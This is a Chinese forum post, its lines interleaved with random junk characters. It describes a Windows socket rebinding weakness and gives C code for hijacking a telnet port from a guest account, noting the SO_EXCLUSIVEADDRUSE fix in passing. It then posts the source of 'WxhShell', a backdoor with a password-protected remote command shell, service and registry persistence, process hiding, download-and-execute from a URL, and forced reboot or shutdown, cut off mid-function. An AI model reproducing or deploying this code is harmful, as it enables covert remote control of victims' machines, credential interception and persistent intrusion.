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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q.fBuF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;A C] *  
Ue%0.G|<W  
  saddr.sin_family = AF_INET; lA1R$  
7HF\)cz2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Re2kD/S3  
cqq+#39iC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j]P|iL  
n`hSn41A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H5 -I}z  
F-X>| oK>z  
  这意味着什么?意味着可以进行如下的攻击: & #|vGhA  
rS jC/O&b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qEpBzQ&gX6  
YlA=? X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bm?Ku7}.  
MG<~{Y84}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X6;aF ;"5  
Y~CS2%j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EKt-C_)U  
vi2xonq^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =SdWU}xn2  
g(`6cY[}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i^> RjR  
*qqFIp^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @s/ qOq?  
&#;,P :.'  
  #include 4>|5B:  
  #include 9GEcs(A*  
  #include `+gF|o9  
  #include    /j^zHrLN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rfZA21y{?  
  int main() F7hQNQu:  
  { |&'*Z\*ya  
  WORD wVersionRequested; M]2 c-  
  DWORD ret; 7%<jZ =  
  WSADATA wsaData; UOY1^wY  
  BOOL val; UWnH2  
  SOCKADDR_IN saddr; &A9+%kOk>  
  SOCKADDR_IN scaddr; <Du*Re6g  
  int err; VMHY.Rf  
  SOCKET s; 94R+S-|P  
  SOCKET sc; $DVy$)a!u  
  int caddsize; D9Z5g3s7R  
  HANDLE mt; _&M>f?l  
  DWORD tid;   `+6HHtF  
  wVersionRequested = MAKEWORD( 2, 2 ); iO@wqbg$6  
  err = WSAStartup( wVersionRequested, &wsaData ); }dxdxnVt  
  if ( err != 0 ) { F&P)mbz1  
  printf("error!WSAStartup failed!\n"); A1_x^s  
  return -1; #-W5$1  
  } ?{2-,M0  
  saddr.sin_family = AF_INET; ALv\"uUNu+  
   -7`J(f.rYC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4{R`  
}lY-_y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jHzy1P{?  
  saddr.sin_port = htons(23); `3OGCy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bb o*  
  { 9f @)EKBK  
  printf("error!socket failed!\n"); 0(kp>%mbB  
  return -1; /?GBp[(0  
  } v Zxy9Wmc  
  val = TRUE; ;CW$/^QNr5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )Ga6O2:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M]'AA Uo8  
  { ieI-_]|[  
  printf("error!setsockopt failed!\n"); H~@h #6  
  return -1; YszhoHYh  
  } :Ls36E8f=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &td#m"wI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EAfSbK3z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u|ZO"t  
{)y4Qp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _H,RcpyJ  
  { )t4C*+9<U  
  ret=GetLastError(); phdN9<Z  
  printf("error!bind failed!\n"); -FI1$  
  return -1;  fwEi//1  
  } J]UH q$B  
  listen(s,2); '3Ri/V,  
  while(1) ,?qS#B+>  
  { "xOeBNRjV  
  caddsize = sizeof(scaddr); Ojs\2('u  
  //接受连接请求 L:<'TXsRA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?Y9?x,x  
  if(sc!=INVALID_SOCKET) QKO(8D6+  
  { l0_V-|x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SS`C0&I@p  
  if(mt==NULL) :wZZ 1qa  
  { by<2hLB9Q  
  printf("Thread Creat Failed!\n"); |2# Ro*  
  break; u;!Rv E8N  
  } .>YJ9 5&\  
  } ~I<y^]2{  
  CloseHandle(mt); $enh45Wy  
  } h2>0#Vp3j  
  closesocket(s); ,&-[$,  
  WSACleanup(); kD>vQ?  
  return 0; [wR8q,2  
  }   @o ED tN  
  DWORD WINAPI ClientThread(LPVOID lpParam) mAzW'Q4D  
  { 1<83MO;  
  SOCKET ss = (SOCKET)lpParam; 2XtQ"`)  
  SOCKET sc; R32d(2%5K  
  unsigned char buf[4096]; z -D pLV  
  SOCKADDR_IN saddr; &u8c!;y$b  
  long num; =FnZkJ  
  DWORD val; Jj " {r{  
  DWORD ret; S6mmk&n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 | QA8"&r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cF2/}m]  
  saddr.sin_family = AF_INET; <G >PPf}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N[-)c,O  
  saddr.sin_port = htons(23); m%&B4E#3T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bhmjH(.t  
  { <c#[.{A}s  
  printf("error!socket failed!\n"); zCrcCr  
  return -1; 9:> K!@  
  } W}RR_Gu  
  val = 100; 2. _cEY34  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9m6j?CFG}  
  { @-}]~|<  
  ret = GetLastError(); 3[0:,^a  
  return -1; Ei-OuDM;)  
  } Q 1Ao65  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l&B'.6XKs  
  { ~}w 8UO  
  ret = GetLastError(); bRp[N  
  return -1; @Xmk Im  
  } 67x^{u7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \Hd B   
  { F!{SeH:  
  printf("error!socket connect failed!\n"); R.N*G]K5  
  closesocket(sc); c &HoS  
  closesocket(ss); JyO lVs<T  
  return -1; 7%"7Rb^@  
  } %Qq)=J<H ;  
  while(1) iE(grI3  
  { =HHg:"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _=5ZB_I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v%5(-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (#]KjpIK  
  num = recv(ss,buf,4096,0); @{uc  
  if(num>0) <.ky1aex7  
  send(sc,buf,num,0);  Dfia=1A  
  else if(num==0) Fev3CV$  
  break; T#7^6Ks+1  
  num = recv(sc,buf,4096,0); L ]c9  
  if(num>0) S)yV51^B  
  send(ss,buf,num,0); DlI5} Jh  
  else if(num==0) mI#; pO2  
  break; }c%y0)fL  
  } ?C35   
  closesocket(ss); ?M^t4nj  
  closesocket(sc); "Ycd$`{Vgt  
  return 0 ; 3G^Ed)JvE  
  } @XC97kGWp  
dL(|Y{4  
R:N-y."La.  
========================================================== +ctv]'P_  
[[Z>(d$8  
下边附上一个代码,,WXhSHELL TzGm562o%  
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========================================================== g/p }r.  
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#include "stdafx.h" (+dRD] |T  
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#include <stdio.h> G`"Cqs<  
#include <string.h> bl_WN|SQ  
#include <windows.h> ^ {f ^WL=  
#include <winsock2.h> VhgEG(Ud  
#include <winsvc.h> yan[{h]EZ  
#include <urlmon.h> _#m qg]W'  
(14kR  
#pragma comment (lib, "Ws2_32.lib") B}+9U  
#pragma comment (lib, "urlmon.lib") uFZB8+  
T0%TeFY  
#define MAX_USER   100 // 最大客户端连接数 9'g{<(R]  
#define BUF_SOCK   200 // sock buffer 2j1v.%  
#define KEY_BUFF   255 // 输入 buffer 3ohcHQ/a  
r:4IKuTR  
#define REBOOT     0   // 重启 E2'e}RQ  
#define SHUTDOWN   1   // 关机 Tj5@OcA$  
J5_Y\@  
#define DEF_PORT   5000 // 监听端口 N'P,QiR,z<  
}c ;um  
#define REG_LEN     16   // 注册表键长度 !!%[JR)cS  
#define SVC_LEN     80   // NT服务名长度 Wy*7jB  
DAHf&/J K  
// 从dll定义API v qMk)htIz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9dtGqXX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :iB%JY Ad  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @;D}=$x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :b*`hWnQ  
Z[u,1l.T  
// wxhshell配置信息 fMPq  
struct WSCFG { Q0Qm0B5eY  
  int ws_port;         // 监听端口 j%jd@z ]@  
  char ws_passstr[REG_LEN]; // 口令 myOX:K*  
  int ws_autoins;       // 安装标记, 1=yes 0=no GD{fXhgk  
  char ws_regname[REG_LEN]; // 注册表键名 kDY]>v  
  char ws_svcname[REG_LEN]; // 服务名 a9zph2o-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x9A ZS#e)[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %L>nXj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `)M\(_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iCRw}[[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |!5T+H{Sj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9w;J7jgOT!  
#aY<J:Nx  
}; 1[g!^5W  
Fi% W\Y'  
// default Wxhshell configuration ~Z6p3# !o  
struct WSCFG wscfg={DEF_PORT, I S8nvx\  
    "xuhuanlingzhe", u;ooDIq@  
    1, Bye@5D  
    "Wxhshell", }"B? 8T@_~  
    "Wxhshell", tW"ptU^9)  
            "WxhShell Service", k5QD5/Ej  
    "Wrsky Windows CmdShell Service", 'oZn<c`  
    "Please Input Your Password: ", kJi&9  
  1, tr9Y1vxo{  
  "http://www.wrsky.com/wxhshell.exe", &9w%n  
  "Wxhshell.exe" y<%.wM]-J  
    }; )]?egw5l  
)  v5n "W  
// 消息定义模块 =#2qX> ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^}/ E~Sg7\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W$Q)aA7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <&s)k  
char *msg_ws_ext="\n\rExit."; w[7.@%^[  
char *msg_ws_end="\n\rQuit."; J*~2 :{=%  
char *msg_ws_boot="\n\rReboot..."; gq_7_Y/  
char *msg_ws_poff="\n\rShutdown..."; A='+tJa  
char *msg_ws_down="\n\rSave to "; Z F yX@#B9  
*RbOQ86vP  
char *msg_ws_err="\n\rErr!"; (&S[R{=^j  
char *msg_ws_ok="\n\rOK!"; W;oU +z^t$  
n vpPmc  
char ExeFile[MAX_PATH]; LF)a"Sh  
int nUser = 0; \P~rg~  
HANDLE handles[MAX_USER]; ]VG84bFm  
int OsIsNt; K1/gJ9+(\  
MRg\FR 2>1  
SERVICE_STATUS       serviceStatus; T19rbL_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u~- fK'/!|  
Prb_/B Dd  
// 函数声明 t#pqXY/;D  
int Install(void); a;'E}b{`F  
int Uninstall(void); x #X#V\w=  
int DownloadFile(char *sURL, SOCKET wsh); A6UdWK  
int Boot(int flag); a}qse5Fr  
void HideProc(void); M`+e'vdw  
int GetOsVer(void); !P60[*>  
int Wxhshell(SOCKET wsl); _E1]cbIo  
void TalkWithClient(void *cs); Hdbnb[e  
int CmdShell(SOCKET sock); 0I>?_?~l6  
int StartFromService(void); SeNF!k% Y  
int StartWxhshell(LPSTR lpCmdLine); .W@4vrp@  
K[LVT]3 n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q"LJwV}W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3Da,] w<  
s 9|a2/{  
// 数据结构和表定义 @Tfwh/UN  
SERVICE_TABLE_ENTRY DispatchTable[] = | 2.e0Z]k  
{ j`|^s}8t  
{wscfg.ws_svcname, NTServiceMain}, o~o6S=4,}  
{NULL, NULL} cbu nq"  
}; NM1cyZ  
C*EhexK,}  
// 自我安装 2 ]DCF  
int Install(void) 7Z`Mt9:Ht  
{ N[bR&# p  
  char svExeFile[MAX_PATH]; %%+mWz a  
  HKEY key; IglJEH[+  
  strcpy(svExeFile,ExeFile); 6}i&6@Snq?  
wCU&Xb$F  
// 如果是win9x系统,修改注册表设为自启动 ),;D;LI{S  
if(!OsIsNt) { TvWU[=4Yk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ku0H?qft(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .kbr?N,'  
  RegCloseKey(key); 0/SC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L* k hj3;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qJ X+[PJ  
  RegCloseKey(key); %uz|NRB=  
  return 0; AFINm%\/0  
    } ~X~xE]1o|U  
  } iz9\D*or  
} }c35FM,  
else { Z[})40[M  
UVT >7  
// 如果是NT以上系统,安装为系统服务 $(KIB82&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?@lx  
if (schSCManager!=0) M$&WM{Pr^  
{ Q3BLL` W~  
  SC_HANDLE schService = CreateService 9QC"Od9H  
  ( x5fgF;  
  schSCManager, ~tg1N^]kV  
  wscfg.ws_svcname, rw5#e.~V  
  wscfg.ws_svcdisp, JtYYT/PB  
  SERVICE_ALL_ACCESS, %$ir a\ sM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rq<`(V'2  
  SERVICE_AUTO_START, /63 W\  
  SERVICE_ERROR_NORMAL, waXDGdl0  
  svExeFile, cyGN3t9`.  
  NULL, ?#BZ `H  
  NULL, JNxW6 cK  
  NULL, 2AXF$YjY  
  NULL, Th7wP:iDP  
  NULL ~+pg^en  
  ); ^ o $W  
  if (schService!=0) [j:}=:feQ  
  { ZRXI?Jr%  
  CloseServiceHandle(schService); MfXt+c`r  
  CloseServiceHandle(schSCManager); v:veV.y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4Q$j]U&b  
  strcat(svExeFile,wscfg.ws_svcname); u Q:ut(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VD9 q5tt7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j*;*Ka w  
  RegCloseKey(key); Z7/vrME6  
  return 0; m\*&2Na  
    } ~:/%/-^  
  } o{{:|%m3Q  
  CloseServiceHandle(schSCManager); 1-6gB@cvQ  
} 0)A=+zSS1  
} Xzx[C_G  
wUZQB1$F  
return 1; NK+FQ^m[  
} T>\nWancQM  
%PQldPL8  
// 自我卸载 H_% d3 RI  
int Uninstall(void) [<D+p qh  
{ $:f.Krj  
  HKEY key; Q7CwQi  
6-*~ t8  
if(!OsIsNt) { e Z@Gu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9nng}em>.  
  RegDeleteValue(key,wscfg.ws_regname); @D fkGm[%  
  RegCloseKey(key); vQ:x% =]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "C:rTIH  
  RegDeleteValue(key,wscfg.ws_regname); $"Y3mD}?L  
  RegCloseKey(key); 2UU 2Vm_6  
  return 0; +Fk4{p  
  } b:fxkQm  
} ?)!SmN/  
} F1 <489  
else { I$aXnd6)  
/J1S@-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]{K5zSK  
if (schSCManager!=0) z6p#fsD  
{ -]Q3/"Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (y=dR1p  
  if (schService!=0) ltNuLZ  
  { DgDSVFk ~  
  if(DeleteService(schService)!=0) { 2-8YSHlh  
  CloseServiceHandle(schService); !(W[!%  
  CloseServiceHandle(schSCManager); beJZ pg  
  return 0; |f"-|6  
  } q$MHCq;  
  CloseServiceHandle(schService); @ \!KF*v  
  } H,(F1+~d  
  CloseServiceHandle(schSCManager); o{9?:*?7  
} qA UaF;{  
} ge^!F>whr  
h^%GE;N  
return 1; D",A$(lG  
} xM%H~(  
hX0RET  
// 从指定url下载文件 G+ :bL S#:  
int DownloadFile(char *sURL, SOCKET wsh) 2#'rk'X,K  
{ | d~B]65t  
  HRESULT hr; jZa25Z00  
char seps[]= "/"; G{ F6  
char *token; !c\7  
char *file; X"kXNKV/n  
char myURL[MAX_PATH]; >ysriPnQ  
char myFILE[MAX_PATH]; .KFA218h*x  
l!\1,J:}Z  
strcpy(myURL,sURL); IKvd!,0xf  
  token=strtok(myURL,seps); k |^vCZ<(x  
  while(token!=NULL) ,`D/sNP ,q  
  { ov1Wr#s  
    file=token; La\Q'0  
  token=strtok(NULL,seps); /r>IV`n{  
  } ''_,S,.a20  
lxm*;?j`W  
GetCurrentDirectory(MAX_PATH,myFILE); t G]N*%@  
strcat(myFILE, "\\"); d0'7efC+  
strcat(myFILE, file); HpW" lYW4  
  send(wsh,myFILE,strlen(myFILE),0); T48BRVX-F  
send(wsh,"...",3,0); F\;2 i:(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]AFj&CteZ/  
  if(hr==S_OK) l &}piC  
return 0; ~GSpl24W<  
else /CIx$G  
return 1; SrSG{/{  
y= 2=DU  
} 5 RW@_%C  
GNs#oM  
// 系统电源模块 @o`sf-8x  
int Boot(int flag) 7`Qde!+C  
{ <[bQo&B2 E  
  HANDLE hToken; m[8IEKo  
  TOKEN_PRIVILEGES tkp; KCE=|*6::|  
a-fv[oB  
  if(OsIsNt) { HHZ`%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `a-Bji?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _0w1 kqW  
    tkp.PrivilegeCount = 1; J)_>%.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PVhik@Yoh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aUA cR W  
if(flag==REBOOT) { qbH %Hx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l@xWQj9  
  return 0; 5Wo5 n7o  
} L"4]Tm>zq  
else { ;"D~W#0-v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (9E( Q*J5x  
  return 0; F9%,MSt  
} JT}.F!q6E  
  } b(/j\NWC  
  else { AH|Y<\  
if(flag==REBOOT) { {aoM JJq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |4 Qx=x>  
  return 0; lVP |W:~K  
} #vtN+E  
else { "3wv:BL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0iF-}o  
  return 0;  ![ a  
} 9976H\{  
} g@Ld"5$^2  
)J&|\m(e  
return 1; Y KY2Cw  
} *Z >  
1& |  
// win9x进程隐藏模块 P8<hvMF  
void HideProc(void) ~}K{e  
{ 5?w.rcN[j  
;I+H>$%jZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vTHq)C.7G  
  if ( hKernel != NULL ) Yh$fQ:yi\&  
  { h D.)M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W tVf wC_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &8n?  
    FreeLibrary(hKernel); NZ+7p{&AN  
  } sDX/zF6t  
=HS4I.@c_5  
return; [ZD[a6(94  
} hXc}r6<B  
$~G@   
// 获取操作系统版本 ; h85=l<8u  
int GetOsVer(void) tvGlp)?.  
{ []gRfM]$&  
  OSVERSIONINFO winfo; 2QL?]Vo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \sITwPA[z  
  GetVersionEx(&winfo); dZDK7UL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 85D? dgV  
  return 1; ^&MK42,\  
  else SB/3jH  
  return 0; )b9_C O}  
} r8,om^N6  
4gb'7'  
// 客户端句柄模块 Y& 5.9 s@'  
int Wxhshell(SOCKET wsl) YQ7@D]#  
{ Fm5Q&'`l  
  SOCKET wsh; ?!y"OrHg  
  struct sockaddr_in client; j`9Qzi1  
  DWORD myID; |mOMRP#'  
:v)6gz(p  
  while(nUser<MAX_USER) N 2Ssf$  
{ x[x(y{&~  
  int nSize=sizeof(client); u{Ak:0G7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l `R KqT+  
  if(wsh==INVALID_SOCKET) return 1; /NU103F yt  
ke]Yfwk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G?ig1PB"#  
if(handles[nUser]==0) {m[Wyb(  
  closesocket(wsh); n}q$f|4!  
else 0X>T+A[E  
  nUser++; uY]0dyI  
  } |'$ l7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?oKL &I@  
R5kH0{zM  
  return 0; n"Z |e tZ4  
} Y{+3}drJE  
9`Vc  
// 关闭 socket :j,}{)5=  
void CloseIt(SOCKET wsh) $DE&J4K  
{ CmHyAw(  
closesocket(wsh); `{o$F ::(  
nUser--; RG}}Oh="v  
ExitThread(0); ,H{={aln  
} 4.w"(v9V  
MUwxgAG`G  
// 客户端请求句柄 J|5Ay1eF-  
void TalkWithClient(void *cs) dB7ZT0L\  
{ F 7LiG9H6`  
I_>`hTiR  
  SOCKET wsh=(SOCKET)cs; v2>Z^  
  char pwd[SVC_LEN]; #&BS ?@  
  char cmd[KEY_BUFF]; s[X B#)H4  
char chr[1]; x.UaQ |F  
int i,j; #xp(B5  
oKa>.e7.  
  while (nUser < MAX_USER) { }#/l N  
hKN6y%  
if(wscfg.ws_passstr) { F#|Z# Mu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RRzP* A%=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fGarUV  
  //ZeroMemory(pwd,KEY_BUFF); %b?uW] j:  
      i=0; th 2<o5  
  while(i<SVC_LEN) { b-%l-u  
+ zp0" ,2B  
  // 设置超时 :0I l|aB  
  fd_set FdRead; ;;Tq$#vd  
  struct timeval TimeOut; ;4kT?3$l  
  FD_ZERO(&FdRead); g~)3WfC$[  
  FD_SET(wsh,&FdRead); NwpS)6<-  
  TimeOut.tv_sec=8; 1Es qQz*$u  
  TimeOut.tv_usec=0; S{:Cu}o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^P$7A]!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HeozJ^u\?  
r?3Aqi"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yqj+hC6>,  
  pwd=chr[0]; B9#;-QO  
  if(chr[0]==0xd || chr[0]==0xa) { ~kb{K;  
  pwd=0; PeNF+5s/K  
  break; >];"N{ A  
  } S>t>6&A  
  i++; OZOb1D  
    } niWx^gKb$  
Pm?B 9S  
  // 如果是非法用户,关闭 socket T*+A.G@L"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A3q*$.[  
} l$M +.GB<  
9rcI+q=E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !y*oF{RZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U^?= 0+  
J?D\$u:  
while(1) { 1;&T^Gdj  
nk/vGa4  
  ZeroMemory(cmd,KEY_BUFF); D=&K&6rr  
?,XC =}  
      // 自动支持客户端 telnet标准   9@y3IiZ"}  
  j=0; 6+PGwCS  
  while(j<KEY_BUFF) { W[|[;{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7'eh)[T  
  cmd[j]=chr[0]; ] .5O X84  
  if(chr[0]==0xa || chr[0]==0xd) { %?=)!;[  
  cmd[j]=0; mx}E$b$<CY  
  break; ^73=7PZ  
  } O-!,Jm   
  j++; HJ@5B"  
    } m =k%,J_  
T|bZ9_?+2  
  // 下载文件 Xw^X&Pp  
  if(strstr(cmd,"http://")) { &t_h'JX&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c#pj:f*H  
  if(DownloadFile(cmd,wsh)) (.Xr#;\(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t)r1"oA  
  else D^$OCj\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -9-fX(I  
  } 'C~9]Y].  
  else { y x;h  
X4Xf2aXI  
    switch(cmd[0]) { j-32S!  
  6?o>{e7n^  
  // 帮助 @a(oB.i  
  case '?': { asz?p\k:bC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }\Z5{OA  
    break; aYVDp{_  
  } eqhAus?)  
  // 安装 o](.368+4  
  case 'i': { Euu ,mleM  
    if(Install()) `%y5\!X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<M]dd$  
    else :hP58 }Q$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !01i%W'  
    break; h8.FX-0& =  
    } [H^ X"D  
  // 卸载 _}ele+  
  case 'r': { {D,RU8&  
    if(Uninstall()) l%<c6;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6LM9e0oxy  
    else Z,aGtJ.a'9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %U?)?iZdL  
    break; oMc1:=EG  
    } 40.AM1Z0f  
  // 显示 wxhshell 所在路径 hdg<bZk:  
  case 'p': { v[L[A3`"/  
    char svExeFile[MAX_PATH]; P) 1 EA;  
    strcpy(svExeFile,"\n\r");  ?Ib}  
      strcat(svExeFile,ExeFile); b:Dg}  
        send(wsh,svExeFile,strlen(svExeFile),0); / O)6iJ  
    break; >{XScxaB`  
    } %wW'!p-<  
  // 重启 >'Hx1;  
  case 'b': { |yv]Y/ =  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c&e0OV\m  
    if(Boot(REBOOT)) ^Y 7U1I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,8VXA +'_  
    else { yVYkuO  
    closesocket(wsh); xJc.pvVPw  
    ExitThread(0); [YE?OQ7#  
    } FL&dv  
    break; TQ-KkH}y  
    } jL_5]pzJ  
  // 关机 a}yR p  
  case 'd': { VDn:SGj5  
